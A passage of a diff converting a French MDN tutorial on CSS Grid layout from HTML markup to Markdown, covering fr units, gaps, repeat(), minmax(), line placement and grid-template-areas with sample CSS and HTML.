cours normal : les boîtes s'affichent donc accolées les unes au dessous des autres. Nous travaillerons avec ce fichier dans la première partie de la leçon ; nous y introduirons des changements et observerons les modifications induites dans le comportement du maillage. -<p>Pour définir un tramage, on affecte la valeur <code>grid</code> à la propriété {{cssxref("display")}}. De la même manière qu'avec Flexbox, nous basculons ainsi en « Grid Layout » (disposition en quadrillage) ; tous les enfants directs du conteneur deviennent des éléments de la maille. Ajoutez ceci à la CSS du fichier :</p> +Pour définir un tramage, on affecte la valeur `grid` à la propriété {{cssxref("display")}}. De la même manière qu'avec Flexbox, nous basculons ainsi en « Grid Layout » (disposition en quadrillage) ; tous les enfants directs du conteneur deviennent des éléments de la maille. Ajoutez ceci à la CSS du fichier : -<pre class="brush: css">.container { +```css +.container { display: grid; -}</pre> +} +``` -<p>Contrairement au cas de Flexbox, il n'y a sur le champ aucune différence pour les éléments. Déclarer <code>display: grid</code> fournit une chaîne à un seul fil et, donc, les éléments continuent à s'afficher juxtaposés comme dans un cours normal.</p> +Contrairement au cas de Flexbox, il n'y a sur le champ aucune différence pour les éléments. Déclarer `display: grid` fournit une chaîne à un seul fil et, donc, les éléments continuent à s'afficher juxtaposés comme dans un cours normal. -<p>Pour voir quelque chose qui ressemble plus à un quadrillage, nous devons ajouter quelques fils de chaîne à la trame. Mettons trois colonnes de 200 pixels — vous pouvez utiliser n'importe quelle unité de taille ou bien un pourcentage pour créer ces rangées en colonne.</p> +Pour voir quelque chose qui ressemble plus à un quadrillage, nous devons ajouter quelques fils de chaîne à la trame. Mettons trois colonnes de 200 pixels — vous pouvez utiliser n'importe quelle unité de taille ou bien un pourcentage pour créer ces rangées en colonne. -<pre class="brush: css">.container { +```css +.container { display: grid; grid-template-columns: 200px 200px 200px; -}</pre> +} +``` -<p>Ajoutons cette déclaration dans nos règles CSS, puis actualisons la page : nous voyons que les éléments ont été arrangés et placés chacun dans une cellule du quadrillage ainsi créé.</p> +Ajoutons cette déclaration dans nos règles CSS, puis actualisons la page : nous voyons que les éléments ont été arrangés et placés chacun dans une cellule du quadrillage ainsi créé. -<pre class="brush: css hidden">body { +```css hidden +body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 Arial, Helvetica, sans-serif; } -.container > div { +.container > div { border-radius: 5px; padding: 10px; background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); -} </pre> - -<pre class="brush: html hidden"><div class="container"> - <div>Un</div> - <div>Deux</div> - <div>Trois</div> - <div>Quatre</div> - <div>Cinq</div> - <div>Six</div> - <div>Sept</div> -</div> </pre> - -<pre class="brush: css">.container { +} +``` + +```html hidden +<div class="container"> + <div>Un</div> + <div>Deux</div> + <div>Trois</div> + <div>Quatre</div> + <div>Cinq</div> + <div>Six</div> + <div>Sept</div> +</div> +``` + +```css +.container { display: grid; grid-template-columns: 200px 200px 200px; -} </pre> +} +``` -<p>{{ EmbedLiveSample('Définition_dune_trame', '100%', 400) }}</p> +{{ EmbedLiveSample('Définition_dune_trame', '100%', 400) }} -<h3 id="Trames_adaptables_avec_lunité_«_fr_»">Trames adaptables avec l'unité « fr »</h3> +### Trames adaptables avec l'unité « fr » -<p>En plus de créer des fils de chaîne en unités de longueur ou de pourcentage, nous pouvons utiliser l'unité « fr » pour moduler la taille des lignes et colonnes du quadrillage. Cette unité représente une fraction de l'espace disponible du conteneur de trame.</p> +En plus de créer des fils de chaîne en unités de longueur ou de pourcentage, nous pouvons utiliser l'unité « fr » pour moduler la taille des lignes et colonnes du quadrillage. Cette unité représente une fraction de l'espace disponible du conteneur de trame. -<p>En changeant la liste des chaînes par la suivante, on crée trois chaînes de <code>1fr</code>.</p> +En changeant la liste des chaînes par la suivante, on crée trois chaînes de `1fr`. -<pre class="brush: css">.container { +```css +.container { display: grid; grid-template-columns: 1fr 1fr 1fr; -}</pre> +} +``` -<p>Vous avez maintenant des chaînes de trame adaptables. L'espace est distribué en proportion de la valeur donnée à l'unité <code>fr</code> ; vous pouvez donc affecter des valeurs positives différentes à chaque piste. Par exemple, si vous changez la définition ainsi :</p> +Vous avez maintenant des chaînes de trame adaptables. L'espace est distribué en proportion de la valeur donnée à l'unité `fr` ; vous pouvez donc affecter des valeurs positives différentes à chaque piste. Par exemple, si vous changez la définition ainsi : -<pre class="brush: css">.container { +```css +.container { display: grid; grid-template-columns: 2fr 1fr 1fr; -}</pre> +} +``` -<p>La première chaîne obtient <code>2fr</code> de l'espace disponible et les deux autres <code>1fr</code> ; la première chaîne sera plus large. Il est possible de mélanger des unités <code>fr</code> et des largeurs fixes pour les chaînes — dans ce cas, l'espace nécessaire aux chaînes de largeur fixée est réservé avant la distribution proportionnelle de l'espace restant aux autres chaînes.</p> +La première chaîne obtient `2fr` de l'espace disponible et les deux autres `1fr` ; la première chaîne sera plus large. Il est possible de mélanger des unités `fr` et des largeurs fixes pour les chaînes — dans ce cas, l'espace nécessaire aux chaînes de largeur fixée est réservé avant la distribution proportionnelle de l'espace restant aux autres chaînes. -<pre class="brush: css hidden">body { +```css hidden +body { width: 90%; max-width: 900px; margin: 2em auto; @@ -133,43 +156,47 @@ original_slug: Apprendre/CSS/CSS_layout/Grids grid-template-columns: 2fr 1fr 1fr; } -.container > div { +.container > div { border-radius: 5px; padding: 10px; background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } - </pre> -<pre class="brush: html hidden"><div class="container"> - <div>Un</div> - <div>Deux</div> - <div>Trois</div> - <div>Quatre</div> - <div>Cinq</div> - <div>Six</div> - <div>Sept</div> -</div> </pre> +``` -<p>{{ EmbedLiveSample('Trames_adaptables_avec_lunité_«_fr_»', '100%', 400) }}</p> - -<div class="note"> -<p><strong>Note :</strong> L'unité <code>fr</code> distribue l'espace disponible, et non sa <em>totalité</em>. Donc, si une des pistes contient quelque chose de grande taille, il y aura moins d'espace disponible à partager.</p> +```html hidden +<div class="container"> + <div>Un</div> + <div>Deux</div> + <div>Trois</div> + <div>Quatre</div> + <div>Cinq</div> + <div>Six</div> + <div>Sept</div> </div> +``` + +{{ EmbedLiveSample('Trames_adaptables_avec_lunité_«_fr_»', '100%', 400) }} -<h3 id="Espaces_entre_pistes">Espaces entre pistes</h3> +> **Note :** L'unité `fr` distribue l'espace disponible, et non sa _totalité_. Donc, si une des pistes contient quelque chose de grande taille, il y aura moins d'espace disponible à partager. -<p>Pour créer des « gouttières » entre chaînes et trames, nous nous servons des propriétés {{cssxref("grid-column-gap")}} et {{cssxref("grid-row-gap")}} pour, respectivement, les espacements entre colonnes et entre lignes ; la propriété {{cssxref("grid-gap")}} définit les deux d'un coup.</p> +### Espaces entre pistes -<pre class="brush: css">.container { +Pour créer des « gouttières » entre chaînes et trames, nous nous servons des propriétés {{cssxref("grid-column-gap")}} et {{cssxref("grid-row-gap")}} pour, respectivement, les espacements entre colonnes et entre lignes ; la propriété {{cssxref("grid-gap")}} définit les deux d'un coup. + +```css +.container { display: grid; grid-template-columns: 2fr 1fr 1fr; grid-gap: 20px; -}</pre> +} +``` -<p>Ces espacements peuvent être définis avec n'importe quelle unité de longueur ou un pourcentage, mais pas avec l'unité <code>fr</code>.</p> +Ces espacements peuvent être définis avec n'importe quelle unité de longueur ou un pourcentage, mais pas avec l'unité `fr`. -<pre class="brush: css hidden">body { +```css hidden +body { width: 90%; max-width: 900px; margin: 2em auto; @@ -182,176 +209,189 @@ original_slug: Apprendre/CSS/CSS_layout/Grids grid-gap: 20px; } -.container > div { +.container > div { border-radius: 5px; padding: 10px; background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } - </pre> - -<pre class="brush: html"><div class="container"> - <div>Un</div> - <div>Deux</div> - <div>Trois</div> - <div>Quatre</div> - <div>Cinq</div> - <div>Six</div> - <div>Sept</div> -</div> -</pre> -</div> -</div> -<p>{{ EmbedLiveSample('Grid_3', '100%', 400) }}</p> +``` -<div class="note"> -<p><strong>Note :</strong> Les propriétés <em>*gap</em> étaient traditionnellement préfixées par <code>grid-</code>, mais la norme a été modifiée avec l'intention de la rendre utilisable dans les diverses méthodes de mise en page. Actuellement, Edge et Firefox prennent en charge la version non préfixée ; les versions préfixées seront maintenues en tant qu'alias, de sorte qu'elles seront utilisables en toute sécurité pendant un certain temps. En appliquant le principe de précaution, vous pouvez doubler et mettre les deux types de propriétés pour « blinder » votre code.</p> +```html +<div class="container"> + <div>Un</div> + <div>Deux</div> + <div>Trois</div> + <div>Quatre</div> + <div>Cinq</div> + <div>Six</div> + <div>Sept</div> </div> +``` -<pre class="brush: css">.container { +{{ EmbedLiveSample('Grid_3', '100%', 400) }} + +> **Note :** Les propriétés _\*gap_ étaient traditionnellement préfixées par `grid-`, mais la norme a été modifiée avec l'intention de la rendre utilisable dans les diverses méthodes de mise en page. Actuellement, Edge et Firefox prennent en charge la version non préfixée ; les versions préfixées seront maintenues en tant qu'alias, de sorte qu'elles seront utilisables en toute sécurité pendant un certain temps. En appliquant le principe de précaution, vous pouvez doubler et mettre les deux types de propriétés pour « blinder » votre code. + +```css +.container { display: grid; grid-template-columns: 2fr 1fr 1fr; grid-gap: 20px; gap: 20px; -}</pre> +} +``` -<h3 id="Répétition_des_listes_de_pistes">Répétition des listes de pistes</h3> +### Répétition des listes de pistes -<p>Vous pouvez répéter tout ou partie d'une liste de chaînes à l'aide d'une notation adaptée. Modifiez la liste des chaînes ainsi :</p> +Vous pouvez répéter tout ou partie d'une liste de chaînes à l'aide d'une notation adaptée. Modifiez la liste des chaînes ainsi : -<pre class="brush: css">.container { +```css +.container { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 20px; -}</pre> +} +``` -<p>Nous obtenons 3 chaînes de <code>1fr</code> de large, comme précédemment. La première valeur passée à la fonction <code>repeat</code> est le nombre de répétitions de la liste, définie par le paramètre suivant : celui-ci peut être une ou plusieurs chaînes que vous voulez répéter.</p> +Nous obtenons 3 chaînes de `1fr` de large, comme précédemment. La première valeur passée à la fonction `repeat` est le nombre de répétitions de la liste, définie par le paramètre suivant : celui-ci peut être une ou plusieurs chaînes que vous voulez répéter. -<h3 id="Trame_implicite_et_explicite">Trame implicite et explicite</h3> +### Trame implicite et explicite -<p>Nous n'avons jusqu'à présent défini que des chaînes en colonnes, mais on peut aussi les créer en lignes pour recevoir les contenus. C'est un exemple de trame explicite (la chaîne) vs. implicite (la trame). La chaîne explicite est celle créée avec <code>grid-template-columns</code> <strong>ou</strong> <code>grid-template-rows</code>. La trame implicite est créée lorsque l'on met du contenu dans ce quadrillage — comme dans les rangées de nos exemples. La cahîne explicite et la trame implicite sont analogues aux axes principal et croisé de Flexbox.</p> +Nous n'avons jusqu'à présent défini que des chaînes en colonnes, mais on peut aussi les créer en lignes pour recevoir les contenus. C'est un exemple de trame explicite (la chaîne) vs. implicite (la trame). La chaîne explicite est celle créée avec `grid-template-columns` **ou** `grid-template-rows`. La trame implicite est créée lorsque l'on met du contenu dans ce quadrillage — comme dans les rangées de nos exemples. La cahîne explicite et la trame implicite sont analogues aux axes principal et croisé de Flexbox. -<p>Par défaut, les rangées de la trame implicite sont <code>auto</code> dimensionnées, ce qui signifie qu'elles sont, en général, suffisamment grandes pour accueillir le contenu. Si vous voulez que les rangées de trame créées par le navigateur aient une taille donnée, utilisez les propriétés {{cssxref("grid-auto-rows")}} et {{cssxref("grid-auto-columns")}}. Si vous ajoutez la propriété <code>grid-auto-rows</code> avec une valeur de <code>100px</code> dans la CSS, vous verrez que le rangées créées ont maintenant 100 pixels de haut.</p> +Par défaut, les rangées de la trame implicite sont `auto` dimensionnées, ce qui signifie qu'elles sont, en général, suffisamment grandes pour accueillir le contenu. Si vous voulez que les rangées de trame créées par le navigateur aient une taille donnée, utilisez les propriétés {{cssxref("grid-auto-rows")}} et {{cssxref("grid-auto-columns")}}. Si vous ajoutez la propriété `grid-auto-rows` avec une valeur de `100px` dans la CSS, vous verrez que le rangées créées ont maintenant 100 pixels de haut. -<pre class="brush: css hidden">body { +```css hidden +body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 Arial, Helvetica, sans-serif; } -.container > div { +.container > div { border-radius: 5px; padding: 10px; background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); -} </pre> - -<pre class="brush: html hidden"><div class="container"> - <div>Un</div> - <div>Deux</div> - <div>Trois</div> - <div>Quatre</div> - <div>Cinq</div> - <div>Six</div> - <div>Sept</div> -</div> - </pre> - -<pre class="brush: css">.container { +} +``` + +```html hidden +<div class="container"> + <div>Un</div> + <div>Deux</div> + <div>Trois</div> + <div>Quatre</div> + <div>Cinq</div> + <div>Six</div> + <div>Sept</div> +</div> + +``` + +```css +.container { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; grid-gap: 20px; -}</pre> +} +``` -<p>{{ EmbedLiveSample('Trame_implicite_et_explicite', '100%', 400) }}</p> +{{ EmbedLiveSample('Trame_implicite_et_explicite', '100%', 400) }} -<h3 id="La_fonction_minmax">La fonction minmax()</h3> +### La fonction minmax() -<p>Les rangées de trame de 100 pixels de haut ne seront pas très utiles si nous y plaçons des contenus de plus de 100 pixels de haut : il y aurait alors débordement. Il est préférable d'avoir des pistes d'<em>au moins</em> 100 pixels de haut, mais susceptibles de s'agrandir si le contenu déposé le nécessite. C'est un constat classique à propos du web : vous ne savez jamais vraiment quelle sera la hauteur d'un élément ; du contenu supplémentaire ou des tailles de police plus grandes peuvent amener des problèmes avec des designs en pixels visant la perfection dans toute dimension.</p> +Les rangées de trame de 100 pixels de haut ne seront pas très utiles si nous y plaçons des contenus de plus de 100 pixels de haut : il y aurait alors débordement. Il est préférable d'avoir des pistes d'_au moins_ 100 pixels de haut, mais susceptibles de s'agrandir si le contenu déposé le nécessite. C'est un constat classique à propos du web : vous ne savez jamais vraiment quelle sera la hauteur d'un élément ; du contenu supplémentaire ou des tailles de police plus grandes peuvent amener des problèmes avec des designs en pixels visant la perfection dans toute dimension. -<p>La fonction <code>minmax</code> nous permet de fixer une taille maximale et minimale pour une trame, par exemple <code>minmax(100px, auto)</code>. La taille minimale est de 100 px, mais la maximale est <code>auto</code> — elle s'agrandira selon le contenu. Changeons <code>grid-auto-rows</code> en utilisant une valeur <code>minmax</code> :</p> +La fonction `minmax` nous permet de fixer une taille maximale et minimale pour une trame, par exemple `minmax(100px, auto)`. La taille minimale est de 100 px, mais la maximale est `auto` — elle s'agrandira selon le contenu. Changeons `grid-auto-rows` en utilisant une valeur `minmax` : -<pre class="brush: css">.container { +```css +.container { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: minmax(100px, auto); grid-gap: 20px; -}</pre> +} +``` -<p>Si vous ajoutez du contenu supplémentaire, vous verrez que la trame grandit pour permettre l'incorporation. Notez que l'agrandissement est général pour toute la rangée.</p> +Si vous ajoutez du contenu supplémentaire, vous verrez que la trame grandit pour permettre l'incorporation. Notez que l'agrandissement est général pour toute la rangée. -<h3 id="Autant_de_chaînes_que_possibles">Autant de chaînes que possibles</h3> +### Autant de chaînes que possibles -<p>Il est possible de combiner nos savoirs à propos des listes de pistes, la notation <code>repeat</code> et <code>minmax()</code> pour créer un modèle utile. Parfois, demander à ce que la génèration automatique crée autant de chaînes que possibles dans un conteneur nous faciliterait la tâche. Pour réaliser cela, définissez la valeur de <code>grid-template-columns</code> égale à <code>repeat()</code> avec le mot-clé <code>auto-fill</code> comme premier paramètre au lieu d'un nombre. Pour le second paramètre de la fonction, utilisez <code>minmax()</code> avec pour minimum la taille souhaitée pour la piste et 1fr pour maximum.</p> +Il est possible de combiner nos savoirs à propos des listes de pistes, la notation `repeat` et `minmax()` pour créer un modèle utile. Parfois, demander à ce que la génèration automatique crée autant de chaînes que possibles dans un conteneur nous faciliterait la tâche. Pour réaliser cela, définissez la valeur de `grid-template-columns` égale à `repeat()` avec le mot-clé `auto-fill` comme premier paramètre au lieu d'un nombre. Pour le second paramètre de la fonction, utilisez `minmax()` avec pour minimum la taille souhaitée pour la piste et 1fr pour maximum. -<p>Essayez ceci dans le fichier avec la CSS ci-dessous :</p> +Essayez ceci dans le fichier avec la CSS ci-dessous : -<pre class="brush: css hidden">body { +```css hidden +body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 Arial, Helvetica, sans-serif; } -.container > div { +.container > div { border-radius: 5px; padding: 10px; background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } - </pre> -<pre class="brush: html hidden"><div class="container"> - <div>Un</div> - <div>Deux</div> - <div>Trois</div> - <div>Quatre</div> - <div>Cinq</div> - <div>Six</div> - <div>Sept</div> -</div> </pre> +``` + +```html hidden +<div class="container"> + <div>Un</div> + <div>Deux</div> + <div>Trois</div> + <div>Quatre</div> + <div>Cinq</div> + <div>Six</div> + <div>Sept</div> +</div> +``` -<pre class="brush: css">.container { +```css +.container { display: grid; grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); grid-auto-rows: minmax(100px, auto); grid-gap: 20px; -}</pre> +} +``` -<p>{{ EmbedLiveSample('Autant_de_chaînes_que_possibles', '100%', 400) }}</p> +{{ EmbedLiveSample('Autant_de_chaînes_que_possibles', '100%', 400) }} -<p>Il a été créé autant de chaînes de 200 pixels qu'il y a de place dans le conteneur, puis l'espace restant a été partagé entre toutes les colonnes — le maximum de 1fr répartit, comme nous le savons déjà, l'espace de façon égale entre rangées.</p> +Il a été créé autant de chaînes de 200 pixels qu'il y a de place dans le conteneur, puis l'espace restant a été partagé entre toutes les colonnes — le maximum de 1fr répartit, comme nous le savons déjà, l'espace de façon égale entre rangées. -<h2 id="Placement_sur_les_lignes">Placement sur les lignes</h2> +## Placement sur les lignes -<p>Nous passons maintenant de la création du quadrillage à la mise en place des choses sur dans celui-ci. Le quadrillage a toujours des fils de chaîne, ils commencent à 1 et sont en relation avec le Writing Mode (mode d'écriture) du document. Ainsi, en anglais, la rangée de la chaîne 1 sera une colonne et se trouvera à gauche du quadrillage et la rangée de la trame sera une ligne 1 en haut. En arabe, la rangée de la chaîne 1 se situera du côté droit, car l'arabe s'écrit de droite à gauche.</p> +Nous passons maintenant de la création du quadrillage à la mise en place des choses sur dans celui-ci. Le quadrillage a toujours des fils de chaîne, ils commencent à 1 et sont en relation avec le Writing Mode (mode d'écriture) du document. Ainsi, en anglais, la rangée de la chaîne 1 sera une colonne et se trouvera à gauche du quadrillage et la rangée de la trame sera une ligne 1 en haut. En arabe, la rangée de la chaîne 1 se situera du côté droit, car l'arabe s'écrit de droite à gauche. -<p>Nous pouvons placer les choses dans ces rangées en indiquant les rangées de début et de fin. Pour ce faire, nous utilisons les propriétés suivantes :</p> +Nous pouvons placer les choses dans ces rangées en indiquant les rangées de début et de fin. Pour ce faire, nous utilisons les propriétés suivantes : -<ul> - <li>{{cssxref("grid-column-start")}}</li> - <li>{{cssxref("grid-column-end")}}</li> - <li>{{cssxref("grid-row-start")}}</li> - <li>{{cssxref("grid-row-end")}}</li> -</ul> +- {{cssxref("grid-column-start")}} +- {{cssxref("grid-column-end")}} +- {{cssxref("grid-row-start")}} +- {{cssxref("grid-row-end")}} -<p>Ces propriétés acceptent toutes un numéro de ligne comme valeur. Vous pouvez également utiliser les formes abrégées de ces propriétés :</p> +Ces propriétés acceptent toutes un numéro de ligne comme valeur. Vous pouvez également utiliser les formes abrégées de ces propriétés : -<ul> - <li>{{cssxref("grid-column")}}</li> - <li>{{cssxref("grid-row")}}</li> -</ul> +- {{cssxref("grid-column")}} +- {{cssxref("grid-row")}} -<p>Cela vous permet de définir les rangées de départ et de fin simultanément, en les séparant avec un <code>/</code> — une barre inclinée.</p> +Cela vous permet de définir les rangées de départ et de fin simultanément, en les séparant avec un `/` — une barre inclinée. -<p><a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/8-placement-starting-point.html">Pour débuter, téléchargez ce fichier</a>. Il comporte déjà une définition de quadrillage et un seul article. Constatez que le placement automatique met les éléments dans chaque cellule du quadrillage créé.</p> +[Pour débuter, téléchargez ce fichier](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/8-placement-starting-point.html). Il comporte déjà une définition de quadrillage et un seul article. Constatez que le placement automatique met les éléments dans chaque cellule du quadrillage créé. -<p>À la place, nous allons mettre la totalité des éléments du site sur le quadrillage en utilisant les rangées de la chaîne (les colonnes dans notre cas). Ajoutez les règles ci-après à la fin de la CSS :</p> +À la place, nous allons mettre la totalité des éléments du site sur le quadrillage en utilisant les rangées de la chaîne (les colonnes dans notre cas). Ajoutez les règles ci-après à la fin de la CSS : -<pre class="brush: css">header { +```css +header { grid-column: 1 / 3; grid-row: 1; } @@ -369,9 +409,11 @@ aside { footer { grid-column: 1 / 3; grid-row: 3; -}</pre> +} +``` -<pre class="brush: css hidden"> body { +```css hidden + body { width: 90%; max-width: 900px; margin: 2em auto; @@ -414,36 +456,37 @@ footer { aside { border-right: 1px solid #999; } -</pre> - -<pre class="brush: html hidden"><div class="container"> - <header>Voici mon joli blog</header> - <article> - <h1>Mon article</h1> - <p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> - - <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> - </article> - <aside> - <h2>Autres sujets</h2> - <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.</p> - </aside> - <footer>Contactez moi@monsite.com</footer> -</div> </pre> +``` + +```html hidden +<div class="container"> + <header>Voici mon joli blog</header> + <article> + <h1>Mon article</h1> + <p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + </article> + <aside> + <h2>Autres sujets</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.</p> + </aside> + <footer>Contactez moi@monsite.com</footer> +</div> +``` -<p>{{ EmbedLiveSample('Placement_sur_les_lignes', '100%', 400) }}</p> +{{ EmbedLiveSample('Placement_sur_les_lignes', '100%', 400) }} -<div class="note"> -<p><strong>Note :</strong> vous pouvez aussi utiliser la valeur <code>-1</code> pour cibler la dernière rangée de la chaîne et compter vers l'intérieur à partir de la fin en utilisant des valeurs négatives. Cependant, cela ne fonctionne que pour la chaîne explicite. La valeur <code>-1</code> ne ciblera pas le rang de fin de trame implicite.</p> -</div> +> **Note :** vous pouvez aussi utiliser la valeur `-1` pour cibler la dernière rangée de la chaîne et compter vers l'intérieur à partir de la fin en utilisant des valeurs négatives. Cependant, cela ne fonctionne que pour la chaîne explicite. La valeur `-1` ne ciblera pas le rang de fin de trame implicite. -<h2 id="Placer_avec_«_grid-template-areas_»">Placer avec « grid-template-areas »</h2> +## Placer avec « grid-template-areas » -<p>Une autre façon de placer des éléments dans le quadrillage consiste à utiliser la propriété {{cssxref("grid-template-areas")}} en donnant un nom au divers éléments du design.</p> +Une autre façon de placer des éléments dans le quadrillage consiste à utiliser la propriété {{cssxref("grid-template-areas")}} en donnant un nom au divers éléments du design. -<p>Supprimez le placement sur les lignes du dernier exemple (ou bien rechargez le fichier pour avoir un nouveau point de départ) et ajoutez ceci à la CSS.</p> +Supprimez le placement sur les lignes du dernier exemple (ou bien rechargez le fichier pour avoir un nouveau point de départ) et ajoutez ceci à la CSS. -<pre class="brush: css">.container { +```css +.container { display: grid; grid-template-areas: "header header" @@ -467,12 +510,13 @@ aside { footer { grid-area: footer; -}</pre> - -<p>Actualisez la page et vous verrez que vos éléments ont été placés comme la fois précédente sans que nous ayons besoin d'utiliser un quelconque numéro de ligne !</p> +} +``` +Actualisez la page et vous verrez que vos éléments ont été placés comme la fois précédente sans que nous ayons besoin d'utiliser un quelconque numéro de ligne ! -<pre class="brush: css hidden">body { +```css hidden +body { width: 90%; max-width: 900px; margin: 2em auto; @@ -516,44 +560,46 @@ aside { footer { grid-area: footer; } - </pre> -<pre class="brush: html hidden"><div class="container"> - <header>Voici mon joli blog</header> - <article> - <h1>Mon article</h1> - <p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +``` - <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> - </article> - <aside> - <h2>Autres sujets</h2> - <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.</p> - </aside> - <footer>Contactez moi@monsite.com</footer> -</div> </pre> +```html hidden +<div class="container"> + <header>Voici mon joli blog</header> + <article> + <h1>Mon article</h1> + <p>Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> -<p>{{ EmbedLiveSample('Placer_avec_«_grid-template-areas_»', '100%', 400) }}</p> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + </article> + <aside> + <h2>Autres sujets</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est.</p> + </aside> + <footer>Contactez moi@monsite.com</footer> +</div> +``` + +{{ EmbedLiveSample('Placer_avec_«_grid-template-areas_»', '100%', 400) }} -<p>Les règles pour <code>grid-template-areas</code> sont les suivantes :</p> +Les règles pour `grid-template-areas` sont les suivantes : -<ul> - <li>toute cellule du quadrillage doit être remplie.</li> - <li>pour couvrir deux cellules, répétez le nom.</li> - <li>pour laisser une cellule vide, utilisez un point <code>.</code> .</li> - <li>les zones doivent être rectangulaires — vous ne pouvez pas avoir une zone en L par exemple.</li> - <li>les zones ne peuvent pas être répétées dans des emplacements différents.</li> -</ul> +- toute cellule du quadrillage doit être remplie. +- pour couvrir deux cellules, répétez le nom. +- pour laisser une cellule vide, utilisez un point `.` . +- les zones doivent être rectangulaires — vous ne pouvez pas avoir une zone en L par exemple. +- les zones ne peuvent pas être répétées dans des emplacements différents. -<p>Vous pouvez jouer avec la disposition, en modifiant le pied de page pour qu'il ne soit placé que sous le contenu et que la barre latérale soit sur toute la hauteur de la page, par exemple. C'est une très belle façon de décrire une disposition, car elle est évidente à la seule lecture de la CSS.</p> +Vous pouvez jouer avec la disposition, en modifiant le pied de page pour qu'il ne soit placé que sous le contenu et que la barre latérale soit sur toute la hauteur de la page, par exemple. C'est une très belle façon de décrire une disposition, car elle est évidente à la seule lecture de la CSS. -<h2 id="«_CSS_Grid_»_une_structure_de_quadrillage">« CSS Grid » : une structure de quadrillage</h2> +## « CSS Grid » : une structure de quadrillage 